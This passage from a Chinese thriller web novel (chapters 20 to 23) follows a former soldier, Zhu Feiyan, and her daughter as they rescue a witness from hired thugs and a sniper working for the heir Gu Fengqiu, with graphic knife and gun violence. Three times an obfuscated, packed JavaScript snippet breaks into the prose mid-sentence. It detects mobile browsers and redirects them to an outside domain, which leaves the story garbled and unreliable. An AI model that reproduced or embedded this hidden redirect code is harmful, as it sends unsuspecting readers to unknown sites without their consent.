她突兀地抿唇一笑:“冯鸿铭,你别忘了你的妹妹也死在那些崽种手里。” 名为冯鸿铭的青年脸色平静:“她说了,既然计划失败了,那就需要重新再讨论,毕竟我们的敌人太多,要做的事不仅仅是复仇。” 许紫衫无动于衷,起身将炒粉丢进垃圾桶。 “你不说我差点都忘了,”她惨白的脸上露出一抹疯狂的笑意,“还有一个人也该死。” 她与冯鸿铭对视,一字一顿地说:“如果不是那个叫祝宴的混蛋,顾逢秋这时候应该在地狱了。” ——祝宴也该死。 许紫衫面无表情流下两行泪,在心里无声呐喊,施暴者该死,既得利益者该死,助纣为虐的人也该死! 冯鸿铭觉得许紫衫真心有点疯了,但还没来得及说什么,门外突然响起了敲门声。 咚咚咚,紧接着一道粗重的男声响起:“您好,我是维修工,201房间被淹了,前台让我来看看是不是这里的水管有问题。” 许紫衫和冯鸿铭面面相觑,半晌,冯鸿铭让许紫衫在床上躺好,然后起身走向门口:“来了!” 落锁的门啪嗒一声打开,冯鸿铭唰地一下拉开门,“厕所应该没……” 话音戛然而止,因为门口堵着七八个大汉,其中一人还拿着手机拍摄,与此同时他感觉到了一阵强烈的锐痛。 低头一看,只见一把西瓜刀赫然插在自己小腹上,那鲜艳的血仿佛瀑布一样,正呈喷溅式迸射。 也就是这一瞬间,冯鸿铭耳边响起了一道无比熟悉的暴躁声音:“许紫衫呢?快去抓她!” 紧接着,又一道沉稳镇定的女声响起: “别着急,瓮中捉鳖,逃不了。” 声音是从手机里传出来的。 是顾逢秋。 他们,这是在直播行凶现场?冯鸿铭身形不受控制往后跌,千钧一发之际,却突然拼命扑出去将人拦在门口。 “快逃!!”他声嘶力竭地咆哮,“从窗户跑!” 21.Chapter 21 女人高昂的尖叫声响彻苍穹,走廊里的房间门陆续打开,住客们毫不掩饰好奇,纷纷探头。 只见301门口,七八个戴口罩的壮汉围堵在一起,甚至还有人在拍摄,很快一个脸短脖粗的平头男攥着一个手脚被绑住的女人头发走出,那紧绷的黑色背心下,肌肉健硕跳动,汗水在廊灯下折射出晶亮的光。 在和平社会如此堂而皇之掳人,简直是狂到没边了,但没人敢上前,趋利避害的本能涌上所有人心头,都畏缩地停驻在门口注视。 冷漠而紧张的气氛猝然爆发,一时间走廊里寂静得只剩下哭喊声。 许紫衫一路被拖出来,绝望地看着一双双眼睛从自己身上划过,她身下全是冯鸿铭的血,被拖曳出了一条可怕的、长长的痕迹。 尽管刚才第一时间掀开被子想跳下三楼,可还是被扑过来的几个男人抓住了,直至这一刻,她才终于明白那人曾经说过的一句话—— “对他们来说,我们是蚂蚁,是微不足道的微尘,我们的愤怒更是饭后闲谈的笑料。只要他们想,只需要动动嘴皮子,我们就会被撕碎,所以我们一定要小心、再小心。” 许紫衫如梦初醒,总算意识到自己的所作所为有多可笑,她无望地闭上眼,下一秒再睁开,眼底已然闪着决绝的光芒,开始放声大喊:“我叫许紫衫!他们是飞扬……” 然而一个巴掌狠辣甩来,她几乎头晕目眩,紧接着一块毛巾塞进她嘴里,堵住所有了声音。 “死到临头还想拉我们下水?”平头男冷笑着将她扛向肩膀,语气不屑:“你太天真了。” 话落,他甚至嚣张地朝走廊的摄像头比划了一个致敬的手势。 这些人似乎是觉得任务完成了,随即风风火火朝楼梯走,伴随沉重的脚步声,有人正怒骂:“张陆人呢?走电梯不是应该比我们快吗?” “不会出事了吧?” 平头男手掌极大,单手勾紧许紫衫的腰,声音冷淡:“能出什么事……” 人一散,终于露出了冯鸿铭的身影。 他倒在血泊里,艰难地捂着肚子朝走廊爬行,冲正对301的两位住客伸出手:“报、快报警!” 那一男一女两住客早就吓呆了,脸色煞白,少顷女住客回过神,转身就要回去拿手机,却就在这时,不远处骤然响起了一道口哨声。 这短促而锐利的一声,明显是想吸引注意。 所有人的视线整齐划一挪过去。 包括平头男几人。 众目睽睽下,只见拐角处一道修长挺拔的女人身影出现,长发随脚步晃动,隔着距离,依旧能看清那双冷若寒潭的锐利双眼。 陈旧脏污的红地毯衬得她身型十分凛冽,头顶昏黄的暖灯倾泻下来,映出了那像狼一样的眼神,沉静、肃然! 她快步疾行,同时举起了手里的枪:“把人给我放下。” …… 紧赶慢赶在最后一秒赶到,祝飞雁一眼就看到了被抓住的许紫衫,完全不敢想象如果自己没发现这帮人的话,最后会发生什么事。 她心情暴躁到了极点,单手持枪前进,说完根本没有犹豫,直接扣下扳机,连射三发! 砰砰砰!枪响震耳欲聋。 住客们尖叫起来,惊惧万分的目光里,就见子弹如离弦之箭射出,无比精准地分别射中了平头男的小腿,和左右两边两个倒霉蛋的大腿。 惨叫声与怒骂声顿时一片,这帮人大概是没想到祝飞雁会疯到在这里开枪,立刻四散奔逃。 “我操!”平头男在拿手机直播的男人护送下,一瘸一拐横冲直撞冲进一个住客的房间,紧接着仓皇冲剩下的人大吼:“搞定她!” 剩下那些人各自躲在安全的地方,闻言心都抖了几下,特么这情况冲上去不就是找死?其实他们也有枪,但那在张哥小弟身上! 然而平头男似乎知道他们的顾虑,暴怒的声音响彻整个走廊:“别忘了有人还在看着。” 这句警告简直就是一张催命符。 剩下的人脸色一个个难看起来,今天来这里做什么大家心里都有数,本质上来说这就是矜贵太子爷的一场私人复仇,而他们是摇尾乞怜的狗,期盼着对方指缝里流出的美妙钞票。虽然那对顾逢秋来说也许只是一天的零花钱,可对他们来说,绝对是打工一年都挣不到的工资。 “……走!”犹豫不过两秒,一人率先抽出西瓜刀冲向走廊,就跟一呼百应似得,其他人立刻也冲出去。 双方迎面直上,距离瞬间缩短,大概只剩下五米。 与此同时,不断前进的祝飞雁试图再次扣动扳机,想干脆利落制住几人,下一秒却发现没子弹了。这种小型防身手枪只有五发子弹,电梯两发这里三发,已经全部用完。 她神色冷峻,迅速甩枪抽向跑最快的那人,同时脚步不停,向前狂奔。 伴随男人的呼喝,数把西瓜刀已迎面而来,祝飞雁常年锻炼,反应速度极快,闪避与攻击几乎已经刻在了骨子里成为一种本能。 她单脚往墙上一踩,借力凌空一跃,直接一个飞蹬踹向一人手腕,对方瞬间脱手,捧着近乎骤然扭曲的手腕发出惨叫。 哐当一声,薄而利的西瓜刀落地。 “操!!”旁边的人猛地一惊,硬着头皮继续胡乱劈砍。 四面八方纷纷有人涌来,祝飞雁落在那手受伤的人面前,果断又利落地一个飞膝击向他下颌,这一下实在是太狠了,那倒霉蛋下巴差点被撞碎,紧接着就见祝飞雁借势翻滚向前,抄起地上的刀,起身迅捷,猛地向左右两边一劈的动作更迅捷! “……”左右两人感觉到一阵锐痛时,手指已经被削掉了,愣了两秒才爆发出惊天动地的惨叫。 搞定三个,还有三个。 在从前队里,祝飞雁的整体武力值本身就数一数二,这些拿钱办事的小混混全是花架子,根本没法和她比,说难听点简直大材小用。 她微微喘着气,余光撇见平头男和另一人趁乱从房间出来,于是立刻抽起刀像鱼一样游蹿在剩下的人中间,无论是砍还是踹,没有一个废动作,全是一招制敌。 一时间,走廊里接连响起身体砸向地面的沉重声响,虽然祝飞雁明显刻意收了力,根本没想着致这些人于死地,但这血腥一幕还是很令人毛骨悚然。 仿佛重锤击在心脏上,看戏的住客们吓得止不住颤抖,终于想起来要报警。 而此刻,祝飞雁也已经搞定所有人。 就在拿手机那人和平头男快要走到拐角处的楼梯时,她掂了掂手里西瓜刀的重量,然后瞄准平头男受伤的小腿,下一刻像甩长枪一样甩了过去! 可西瓜刀重量到底小,只是擦着平头男小腿过去,没能阻挡脚步,但他属于伤上加伤,腿一弯直接扑向了刚打开的楼梯门,许紫衫也摔出去,正好跌在西瓜刀旁。 象征希望的门合上,拿手机的那人仓皇失措地回头,将摄像头对准了祝飞雁。 谁知祝飞雁早已三步并两步狂奔至两人身后,他抬高手机的那一刻,只见一只漆黑的拳头迎面袭来,崩飞手机,正中鼻梁! “啊!”那人尖叫一声,捂着鼻子倒下。 还没等众人反应过来,一身肌肉的平头男已经被祝飞雁狠狠揍了两拳,染黑攥紧脖子拎了起来。 手机摔到地上屏幕四分五裂,祝飞雁注意到上面有视频通讯的标志,眼神顿时一冷,弯腰捡起,顾逢秋那显眼的红发赫然在上面! ……行凶竟然还直播? 顾逢秋的恶劣程度再一次被刷新了。 但他旁边还有一个单眼皮女人,女人出乎意料的镇定,先是将顾逢秋往旁边一推,紧接着眼皮一抬,语气笃定:“你是抓走莫子健的人。” ——顾惜。 根据已有信息显示,顾惜是顾唐的养女,原先是海外缅市人,如今是他的贴身秘书。 几乎是瞬间,祝飞雁就闻到了同类的味道。 那是一种无时无刻充满战意的人才有的气质,不需要勃发紧绷的肌肉,更不需要虚张声势的夸张身材,真正厉害的人是隐而不发的。 只需要一眼,她就能从顾惜刚才抬手时衣服包裹下的流畅线条确定,这人绝对是个练家子,也是个强劲的对手。 “推我干什么!快点叫人!正好把她一起抓起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574206|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”顾逢秋显然没想到计划会被破坏,正气急败坏咆哮。 顾惜没有理他,紧盯着祝飞雁道:“你是谁,你想做什么?” “我吗?”祝飞雁平静地回望她,终于出声,语气认真:“友好的滨海市民吧。至于我想做什么,我觉得你们还是自己深刻体会才行。” 顾惜:“……” 众人:“……” 顾逢秋根本忍不住,顿时发出一声怒吼:“你友好个屁!莫子健呢!!” 祝飞雁没回答,因为回过神来的肌肉男突然开始挣扎,说时迟那时快,她一甩手机,直接猛地攥起肌肉男往门上撞,那简直是毫不留情的力道,一下接一下像是要活生生把他脑袋撞碎。 哐哐哐几下过后,满脸是血的肌肉男奄奄一息滑到地上,祝飞雁才面无表情起身,视线自上而下扫向手机,一字一顿地说:“这就是我想做的。” 肌肉男就倒在手机旁,逐渐微弱的呼吸喷洒在手机上,虚化了屏幕上的顾惜。 因为单眼皮的关系,她五官有些冷峭,此刻看起来却柔和了点。 “没有那一天,我会找到你。”顾惜语气冷漠,下一秒通讯被挂断。 “……”祝飞雁心想自己话还没说呢,溜得倒是快。 与此同时,楼下响起了由远及近的警笛声。 总算是救下了许紫衫,祝飞雁转头望去,准备带她离开,却见许紫衫不知何时已经用刀割开束缚手脚的绳子,此刻正准备逃跑。 “等等!”祝飞雁心道不好,立刻扑向她。 谁知这一刻的许紫衫倒是鸡贼得很,居然从口袋里掏出一瓶辣椒水狂喷! 她抬手一挡,待放下手,楼梯门已被拉开,许紫衫脚步飞快冲下了楼。 祝飞雁想去追,身后却响起住客的惊呼:“这人要不行了!” 祝飞雁脚步顿时停住,追下去是线索,后面是一条岌岌可危的人命,从前总是能毫不犹豫做出选择,这一秒却突然成为了一个难题。 她已经不是血豹成员了,但守护人民这份职责已经深刻入骨,无论何时何地,无论要失去什么,她都该停下来、停下来履行这份责任。 这无关退役不退役,都是必须也应该做的事。 她皱着眉回头,只见一个女住客正在对冯鸿铭进行紧急急救,面对这样混乱的场面,即使刚才发生了一个普通人一辈子都不可能经历的事,战胜恐惧后,却还是有人愿意伸以援手。 “飞雁,这么长的职业生涯里我就学会一件事,罪恶是永远不会消失的,所以我们要做的只有一件事,守护至上,其次才是将罪恶一一打尽。而在这些过程里,我们会遇到无数阻力与艰难的取舍,你必须警记任何事都不要操之过急,只要人活着,一切就有可能。” “就像人的一生,无论你是生来处于肮脏混乱的泥潭,还是一朝从高处坠下,只要活着爬出来,活着再爬上去,光明的未来就会照耀你。” 瞿欣的声音在耳边闪现。 那是祝飞雁第一次出缉毒任务当侦查兵,因为见到那些毒贩正在枪杀人质时太过心急,意外泄露情绪,导致差点暴露。回去后,瞿欣陪她训练了一天,两人并肩躺在软垫上,她是这么说的:“别忘记,我们的使命是守护人民。” 但祝飞雁真的很想快点挖出有效的信息,抛舍一切,不正是为了一步步接近真相吗? 许久,她闭了闭眼,准备继续迈开的脚步缓缓收回,下一秒还是飞奔回了301。 她几乎是滑跪到冯鸿铭身边,动作麻利地扯开他的上衣,摁住不断出血的刀口,同时语速极快地吩咐:“我要纱布、绳子、火机!” 警笛声更近了,汗水从祝飞雁额间落下,她神情专注地进行急救,内心不断安慰自己。 祝安宁应该在楼下了,从X酒吧来看,似乎也会点散打,毕竟还能送身强体壮的顾逢秋一个过肩摔!约莫就算许紫衫再喷辣椒水,那比牛还犟的小瘪犊子估计也能气势汹汹一头撞回去。 女住客递来收集的工具,祝飞雁冷静地接过,眼神愈发坚定。 如果那小崽子真是她祝飞雁的女儿,绝对也必须能! 22.Chapter 22 与此同时,刚跑到一楼转角的许紫衫也听到了警笛声,脸色顿变,仓皇加快脚步往下冲。 嘭!她冲开楼梯门,正打算往正门跑,却见前台小姐站在一个满脸是血的黄毛身边,手足无措地讲电话,声音都在颤抖:“这人鼻梁骨应该断了。好好,我知道了……” 半拉的卷帘门外,数双裤腿晃动,红□□光闪烁。 许紫衫连忙转头看一圈,目光紧接着落向后门,于是立刻夺路而逃。 许紫衫几乎是横冲直撞冲出去的,莲荷区的房子拥挤不堪,后门出去是一条进入城中村的狭小巷子,这里没什么光亮,加班到这点才回家的年轻人神色疲惫,车把上挂着实惠美味的炒粉,骑着电驴从面前飞驰过去。 仿佛与右侧人声鼎沸的街道是两个世界,她隐没在暗色之中,一听见街道上响起警察的呼喝声,立马迈开脚步往巷子深处疾行。 谁知才走了两步,一束手机的电筒光束迎面扫来。 许紫衫下意识抬手眯眼,只见一个脸上戴着一幅廉价孙悟空面具的女生缓步靠近,那面具显然是在路边1元店里随手买的,只有小孩子才喜欢。 “你是许紫衫是吧?”她小心翼翼地询问。 来人正是祝安宁! 祝安宁几分钟前才到彩虹宾馆,见宾馆卷帘门拉着,就知道祝飞雁已经行动了,生怕再次因为自己导致行动被破坏,索性折回去买了一幅面具,然后就按照信息乖乖在后门堵着。没想到还真见到有人出来了! “走走走!”祝安宁也是头一次在警察眼皮子底下做这种事,心里慌得不行,她收好手机,上前试图去拉许紫衫,“这里很危险,我们得去安全的地方再等我妈。” “你妈?”许紫衫顿时想起楼上开枪的女人,猛地后退一步,眼神警惕。 她已经经历过一次死里逃生,此刻完全不敢轻信任何人,尤其是拿枪就干的人!她怀疑眼前的祝安宁也是顾家的人,或许这又是降低警惕的手段! 说时迟那时快,就在祝安宁再次靠近时,许紫衫突然掏出剩下的辣椒水对准对方,毫不犹豫开喷! 噗呲——!刺鼻的液体呈扩散式迸射。 祝安宁被喷了一脸,虽然有面具阻挡,但辣椒水还是溅到了眼睛里,瞬间感觉火辣辣地发疼,她下意识要发出尖叫,却居然硬生生憋住了。 见状,许紫衫马不停蹄转身跑。 祝安宁听见脚步声,强忍疼痛胡乱擦了一下眼睛,咬咬牙直接扑出去,眼疾手快抓住了许紫衫的脚腕。 许紫衫受阻,也不敢大声咆哮:“……放开!” “我不!”祝安宁谨记着祝飞雁的任务,简直像只树袋熊,手脚并用爬过去牢牢抱住她的腿,整张脸都贴在了她的大腿处,“有本事你打死我,否则我不会放!” “……”许紫衫深吸一口气,像疯了一样用拳头砸祝安宁的背,“你给我放开!!” 祝安宁岿然不动,目光紧紧盯着始终没有动静的后门,最后任由无可奈何的许紫衫拖着她往深处走。 当那个视频点开,尽管祝飞雁是用平静轻松的口吻诉说当时发生的事,但那些惊险的画面仿佛就在祝安宁眼前。 没有她的参与,2040年的祝飞雁也在展厅从许紫衫手里救过顾逢秋,当晚直接跟着冯鸿铭进入宾馆,在试图带走许紫衫时碰上了带枪的那帮人,两方夹击,她又要保护急于逃跑的证人又要对付敌人,遭遇了一场恶战。好不容易离开宾馆,谁知更大的危险来临,如果不是许紫衫背刺,她不会死,祝飞雁也不会受重伤。 祝安宁眼前闪过一幅画面,是祝飞雁当着白大褂的面掀开衣服,露出腰间的枪伤,她面不改色,语气沉着:“许紫衫推我那一把,对方差点把我胃打穿。我谅解她的悲痛与疯狂,但她的死是纯粹是自作孽,当时只要抓到一个人就能问出枪械来源,所以我让她好好呆着等我回来,是她自己要跑出去,最后才被射杀。我没法分身,我已经仁至义尽。” 白大褂不答只问:“你还记得自己的使命是什么吗?” 祝飞雁眼皮一掀,丝毫不虚:“我现在只是一个普通的线人卧底,那我的使命只有一个,不惜一切代找出真相。她有公道要讨,我没有吗?我妈和我姐的尸体还在冷冻库放着,我只要真相。而你们想要打掉这条充斥无数罪行的犯罪链,又想要没有牺牲,这天底下哪有全然没代价的事?没有我的果断,只会有更多死亡。” 那一年的祝飞雁像个一点就着的炮仗,冷硬绝情,像是在黑暗中踽踽独行最终被冰冷现实击溃的人,试图用最恶劣尖锐的一面推走一切。 原本属于她的荣耀、始终坚守的正义,甚至包括一直以来的意气风发。 仅凭一个视频,祝安宁不知道这里面到底都有些什么事,只知道未来改变了,至少许紫衫暂时活下来了。 但事情还没有完。 最危险的事还没有出现。 许紫衫拖了祝安宁走了几米实在是走不动了,眼看亮堂的街道外有警察扎堆,顿时咬牙切齿揪起祝安宁头发,低声威胁:“你快点给我放开,不然我真的动手了。” “你朝我横什么!”祝安宁脾气多倔啊,今天就是一把枪顶在头上都不可能放手,她忍着痛,抬头看向气急败坏的许紫衫:“要不是我妈你早就死几遍了!!怎么不见你冲坏人去横,有本事别被坏人抓到呀!” “……”许紫衫脸色骤然难看起来。 这话仿佛戳中了她的痛处,下一秒猛地握拳,作势就要锤祝安宁脑袋:“你懂什么!” 恰在此时,身后的彩虹宾馆响起警察大声的咆哮:“抓住她!别让她跑了!” 两人回头,只见靠近小巷的三楼窗户钻出一道利落的人影,招牌的荧紫色灯光映亮了那飘扬的长发,面容掩在口罩之下,赫然是祝飞雁! “我在这里!”祝安宁喜极而泣,腾出手奋力挥舞。 祝飞雁听到动静,见一个顶着孙悟空面具的傻蛋在挥手,毫不犹豫往下跳。 也就是这一刻,祝安宁想起一件事,突然发出高昂的尖叫:“对了!有狙击枪!!” 话音刚落,祝飞雁身后的窗户轰然碎裂,那子弹几乎是擦着祝飞雁脸颊过去的,因为她已经在往下跳了,所以击中的是一个紧随其后的警察的手臂。 …… 鲜血迸溅,透过口罩都能闻到血腥味。 祝飞雁来不及管身后受伤的警察,直接跳向一辆车顶,落地就是一个翻滚,紧接着迅捷地爬起来。 根据方向来看,能精准射中三楼的狙击制高点只有一个地方,那就是在彩虹斜对方不远处的一座豪华酒店。 到这里的第一秒,祝飞雁早就摸排清楚周围的环境了,猜测对方可能会继续射击,顿时暗骂一声,立刻冲向许紫衫和祝安宁。 两人姿势特别奇怪,但没有时间废话了,祝飞雁一手拎一个,简直是用逃命的速度在狂奔。 诚如她所料,很快第二枪紧随而至。 狙击子弹的穿透力极强,穿过风声会发出明显的咻声,只是这一次不是冲她来的,而是许紫衫! 一拖二根本不可能跑过狙击枪,强劲的风声掠过,就见许紫衫双腿一弯,猛地栽倒在地。 “啊、我的脚!!”许紫衫脸色惨白,冷汗直流。 祝安宁也慌了,视频里得到的信息终于可以脱口而出:“是顾逢秋!他们在泉溪酒店的天台!” 原本的时间线里,祝飞雁带着许紫衫和冯鸿铭逃出来,身后有那帮混混在追,结果就在这里遭遇了狙击,吓得许紫衫当场直接把人推出去挡枪。 ……这傻X直播行凶还不够?又是混混又是狙击枪,显然如果活捉不了许紫衫就要干脆弄死她! 祝飞雁终于忍不住骂了句脏话,现在当真是前有狼后有虎的境地,小巷里没有任何能遮掩的物体,只有几个半堆在墙侧的半人高垃圾桶,不跑就等着被警察逮,虽然她很快能被放出来,但谁也不知道警方内部有没有顾家的人,要是暴露一切玩完。 额间热汗密布,她强行镇定下来,先是看了眼距离不远的拐角,然后快速在脑子里过了一遍附近的地图,开始思考对策。 很明显不是专业人士在狙击,这要是专业的,许紫衫绝对会被一枪爆头,祝飞雁猜测是顾逢秋在搞事,这帮崽种已经狂到敢光明正大用枪了,如果祝安宁没提醒,谁也不敢保证今晚有没有人死。 而他们已经走出了狙击范围,否则下一枪早该射来。 有顾惜在,恐怕对方已经在紧急调整位置了。 从这里到拐角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574207|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有二十几米,正常速度下祝飞雁绝对可以跑出去,但要是一拖二,行动势必会变慢,因此她只有十几秒的时间,并且没有任何容错机会。 几秒钟内思考完毕,她沉沉吐出一口气,刻不容缓扛起许紫衫,然后牵起祝安宁的手,低眼看向她,言简意赅道:“能不能跟上我的脚步?” 未知的子弹像一把剑悬在祝安宁脑门上,心跳此刻如雷,惊惧的目光透过面具落在祝飞雁镇定的双眼上,心莫名一定,下一秒用力点头:“应该能。” 祝飞雁沉声:“你必须能。” 话落,她拉起祝安宁,迈开脚步争分夺秒往前冲。 三人在昏暗的小巷里疾奔,此时身后宾馆的门打开,警察们冲出来,厉声大喝:“站住!” 祝飞雁恍若未闻,拼命提速。 她这辈子没这么狼狈过,心里的火气已经压抑不住了。 果然不出所料,很快第三发子弹如约而至。 得亏祝飞雁提前做好了心理准备,一路用不规则的蛇形走位,直接飞扑向前方一个垃圾桶,也就是这时,那颗子弹擦着脖子击空。 这时警察也发现有狙击枪了,咆哮声络绎不绝。 趁对方换弹,祝飞雁一鼓作气推着祝安宁往前跑,眼看就要进入拐角,谁知接下来一枪的准度与预设度都极高,近乎是直接猜到了她的行动轨迹,子弹无比精准地从她肩膀擦飞过去。 “……”祝飞雁冷冷瞥了眼瞬间皮开肉绽的手臂,脚步不停,带两人径直冲到混乱的街道上。 “居然逃出来了?”祝安宁看着人头攒动的街,内心一喜,虽然老妈还是受伤了,但至少不是重伤,许紫衫也活了!她立刻拽住祝飞雁,手足无措地说:“我成功了!我改变了!!” 祝飞雁没空夸奖小孩,此时此刻从头到脚都写着‘我很生气’四个字。因为想带走许紫衫,所以她是开车来这的,于是二话不说粗暴地将祝安宁和许紫衫一起塞进了那辆老旧的黑车,然后问祝安宁:“会开车吗?” 祝安宁当然会开车,祝飞雁以前教过她。 但那时候她不理解为什么,明明还没到学开车的年纪,可直到这一秒,她突然明白了祝飞雁的良苦用心,无论是强迫独立还是散打、学车,或许是她早就知道孟书礼早晚有一天会找上门,她这是在用自己的方式教她生存,确保她遇到危险能有反击的可能。 只可惜她一直都在逃课,从来没认真学。 祝安宁惭愧地低下头:“会一点,以前你教过我。” “……够了。”祝飞雁立马掏出钥匙递给祝安宁,紧接着转眼看向脸色惨白的许紫衫,有条不紊地下达命令:“地址我发给你,你俩先回去等我。” 祝安宁意识到祝飞雁要走,顿时一怔:“那你呢。” 许紫衫脚骨都被打裂了,白着脸沉默不语。 祝飞雁先是低头看了眼手臂上的伤口,紧接着遥遥望向泉溪酒店的方向,口罩下的唇冷冷一牵:“我去以牙还牙,顺便好好问一问他们哪来的枪!” 她越说越火,肉眼可见双眼都在喷火,忍不住脏话连蹦:“小瘪三仗着家世这么狂,狙击枪都能搬出来,下回是不是连火箭炮都敢扛出来了?一帮崽种,简直没把法律放在眼里!今天不敲烂他的头盖骨,我干干脆脆洗干净脖子跳河算了!” 让祝飞雁最生气的就是这一点,即使许紫衫有可能知晓飞扬的秘密,一旦活着就有暴露顾家的风险,但仅仅为了一个许紫衫就敢这么做,这就代表顾家根本对一切公权力视若无睹,私下里更是不知道做过多少更狂妄的事。 无论如何,顾逢秋必须得挨一顿。 在她的字典里,坚决没有受伤还要忍着的道理,她倒要看看,今晚顾逢秋能不能全须全尾回去! 语毕,祝飞雁头也不回朝摩的佬聚集的区域走去。 所有人都围到了宾馆外看戏,根本没有人注意到这里。 “啊?”祝安宁坐在车里,直接懵了。 “以、以、以牙还牙?!” 天杀的,之前沈琉歆还说过去的老妈从来没有过这种想法呢!! 少顷,祝安宁才突然意识到一个非常可怕的问题—— 事情的确被改变了,但她老妈的怒气值同时也被拔高了啊啊啊啊! 23.Chapter 23 与此同时,泉溪酒店。 “操!操!!”豪华的房间内,架在露台花园栏杆上的狙击枪被猛地拿起来,紧接着砸向身后的秋千,接连三下枪管瞬间扭曲,残片四溅。 两个西装保镖面不改色站在屋里,向露台投去冰冷的目光。 “又是那个女人!”只见顾逢秋随手将枪一丢,气急败坏喘着粗气,“如果不是她,姓许的就死定了!早知道最后一枪让你来了。” 顾惜放下望远镜,黑发一丝不苟盘在脑后,身上那套定制的西装套裙优雅得体,气质冷艳沉稳,尤其是那双吊稍的单眼皮眼睛更是将清冷演绎到了极致,看起来简直像头美丽矫健的美洲豹。 她俯瞰着繁华的夜色,镇定地说:“没关系,你想玩就玩,一个许紫衫而已,不出几天我就能给你找出来。” 闻言,顾逢秋心中的怒火终于熄灭。 当年李明月嫁进来后,他就成了爹不疼娘早死的倒霉蛋,只有顾惜无时无刻陪伴他,如果说当年怀慈曾经将他拉出过黑暗,是救赎,是男女之爱,那么顾惜于他,就是最难割舍的亲情。 把顾惜从缅市带回来养大,无论出于什么目的,都是那老东西这辈子做得最准确的一件事。 冷静下来后,顾逢秋挥挥手,示意保镖将这里处理干净,随即走到顾惜身边,沉声道:“抓走莫子健的女人不太好惹,上回是瞿柔,这次连许紫衫也要沾一脚,我怀疑她知道是我干的,所以在针对我和顾家?” “没和敌人对上三招,就不要妄下结论。”顾惜眼底映着对面大楼明亮的霓虹灯,风拂过,灯光像海浪一样闪烁。 就像那天游轮上席卷的海浪。 想起那天,她的声音却依旧沉稳冷静:“当初除了自己人,其他的早就被处理干净了,剩下像莫子健那帮人,家里都和我们有生意来往,都不用警告,他们父母自然会让他们闭嘴。” 一个死了一年的人,尽管老天都在帮忙将尸体冲出来,但一场车祸就能将所有线索堵死,现在T国苦于毫无线索已经将案子搁置,连秘密前去查案的瞿欣也已因车祸而死。他们很清楚瞿欣的身份,所以做得非常小心。不论一年前还是一年后,按道理,绝对没人会将瞿柔和顾逢秋联系起来。 因为所有确凿的证据已被全部清理,包括当年对此心有疑窦的瞿欣也没有查出一丝端倪,很快适应了一个失去女儿的可怜虫身份。 “那为什么提起来?难道又是警察?”顾逢秋眉头一皱,“还是说瞿欣上面……” 话说到一半他自己都觉得可笑。 哪有警察能干得出这种事,军人那就更不可能了!顾惜曾经说过,瞿欣一死,只要半个月内军方没动静就不会出事,毕竟军人是一个国家的门面,一旦出事,便是风起云涌之时。而且这么多年顾家背后干的脏事并不少,上下关系早已打通,有点风吹草动都能提前得到消息。 实际上他们也的确得到了部分消息,譬如上面的确对瞿欣的车祸有怀疑,曾派人去T国交涉,最终得到的当然只有司机酒驾纯属意外这个结论。 听说只要等T国那边处理好,很快就会把遗体带回来,以因公殉职的烈士身份入陵。 所以排除这两个可能,那么这个自称友好市民的神秘女人的的确确像个迷。 前脚放话要从莫子健嘴里问出瞿柔的事,后脚蹦出来像英雌一样拯救许紫衫,针对性不仅极强,武力值还不低。 顾逢秋突然冷笑一声:“她不会是什么想要执行正义的红拂女吧?” 红拂女,古代民间传说中一位喜欢劫富济贫,帮助贫民对抗腐败贵族的女侠客。 “……”顾惜顿时瞥他一眼,“你最好希望她只是红拂女。” 在这件事上,顾惜思考得显然要比顾逢秋深,即使她也认为不太可能是官方的人,但有件事能肯定,这位友好市民的确不简单。 寻常人遇上被狙击这种事,绝对不可能在第一时间反应过来,从刚才对方的走位来看,显然训练有素,甚至很快发觉了狙击制高点。 最微妙的是,瞿柔和许紫衫这两个关键人物——单从两人身份来说肯定毫无关联,但顾惜,或者说整个顾家心里都门清,她们所遭遇的一切均与顾家息息相关。 就算真把对方当作一个多管闲事的红拂女,可对方究竟有什么目的呢? 凭空猜测无人能做到,少顷顾惜抬手拍拍顾逢秋的肩膀,“行了,今晚你也玩够了,回去吧。我也还要回去交代,莫罡得先安抚好。” 因为秦麦的确因飞扬娱乐而死,莫罡就认为许紫衫肯定是抓走自家儿子的人,今晚看来,神秘女人现身救下许紫衫,也许的确关系匪浅。 闻言,顾逢秋顿时不爽地吐出一口气:“那许紫衫呢?李明月搞出来的事管我屁事,她没事干找我报什么仇,老子一定要弄死她!” 顾惜微微一笑:“你放心,给我三天,一定把她找出来。” 顾逢秋看着她半眯起的笑眼,心定了九分,同样回以一个微笑:“行,整个顾家我就最信你。你喜欢狙击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574208|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今天把你枪弄坏了,赶明天我飞一趟国外,给你弄把好的。” 